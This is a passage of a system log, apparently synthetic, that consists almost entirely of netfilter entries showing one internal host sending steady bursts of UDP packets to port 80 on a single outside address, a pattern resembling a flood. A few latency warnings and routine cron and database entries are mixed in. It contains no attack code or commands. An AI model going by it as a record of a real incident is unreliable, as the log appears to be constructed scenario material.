DST=198.51.100.112 PROTO=UDP SPT=12263 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33735 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24435 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33861 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50436 DPT=80 +Aug 16 16:03:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59058 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64416 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26674 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42777 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53503 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55825 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12741 DPT=80 +Aug 16 16:03:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28306 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52236 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58504 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27897 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17084 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56570 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19198 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18818 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37109 DPT=80 +Aug 16 16:03:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43753 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=47774 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50214 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44335 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38633 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28085 DPT=80 +Aug 16 16:03:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14036 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=30318 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21444 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53954 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26707 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53872 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16163 DPT=80 +Aug 16 16:03:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57894 DPT=80 +Aug 16 16:04:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20532 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10998 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14854 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10911 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26948 DPT=80 +Aug 16 16:04:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53344 DPT=80 +Aug 16 16:04:05 CRON[1949]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49776 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23424 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63149 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=15068 DPT=80 +Aug 16 16:04:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=41259 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44032 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17143 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31147 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53269 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18140 DPT=80 +Aug 16 16:04:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48168 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54120 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13794 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46576 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23172 DPT=80 +Aug 16 16:04:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43217 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38498 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52290 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22982 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29028 DPT=80 +Aug 16 16:04:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64859 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11799 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51402 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60010 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21273 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51902 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59471 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51078 DPT=80 +Aug 16 16:04:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58352 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13662 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51953 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52700 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=17763 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24209 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61970 DPT=80 +Aug 16 16:04:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13523 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19609 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50549 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54574 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52537 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42596 DPT=80 +Aug 16 16:04:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19701 DPT=80 +Aug 16 16:04:40 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55360 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34077 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22609 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=44396 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22842 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=43934 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=11652 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29584 DPT=80 +Aug 16 16:04:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28399 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=31933 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24271 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=53004 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42790 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19475 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48174 DPT=80 +Aug 16 16:04:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21043 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25687 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64116 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39089 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18059 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=27666 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=34385 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56204 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=61024 DPT=80 +Aug 16 16:04:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=38060 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25161 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=40912 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26753 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=10784 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60489 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57102 DPT=80 +Aug 16 16:04:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57587 DPT=80 +Aug 16 16:05:00 systemd[1]: Starting Clean php session files... +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20240 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13973 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=29742 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=51126 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60223 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24382 DPT=80 +Aug 16 16:05:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46369 DPT=80 +Aug 16 16:05:05 CRON[1961]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=55358 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=50602 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=40857 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58768 DPT=80 +Aug 16 16:05:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54330 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=14147 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=23534 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12398 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=60269 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=19261 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57080 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28657 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42884 DPT=80 +Aug 16 16:05:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64121 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63779 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=58902 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=30846 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33073 DPT=80 +Aug 16 16:05:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=24833 DPT=80 +Aug 16 16:05:20 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=16093 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64028 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21949 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=59960 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12010 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=52701 DPT=80 +Aug 16 16:05:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28729 DPT=80 +Aug 16 16:05:25 webapp-db[1234]: LOG: checkpoint starting: time +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21628 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=21710 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12566 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20746 DPT=80 +Aug 16 16:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54335 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=64519 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=25977 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18819 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=46302 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=30156 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=54351 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32057 DPT=80 +Aug 16 16:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=13987 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49668 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=12863 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=49621 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=56049 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=28592 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48888 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=48419 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=63714 DPT=80 +Aug 16 16:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=57284 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=20573 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35222 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=22207 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33610 DPT=80 +Aug 16 16:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=45372 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=62652 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=39460 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35874 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32618 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=32589 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=33916 DPT=80 +Aug 16 16:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=35277 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=26357 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=42657 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=37845 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=198.51.100.112 PROTO=UDP SPT=18892 DPT=80 +Aug 16 16:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 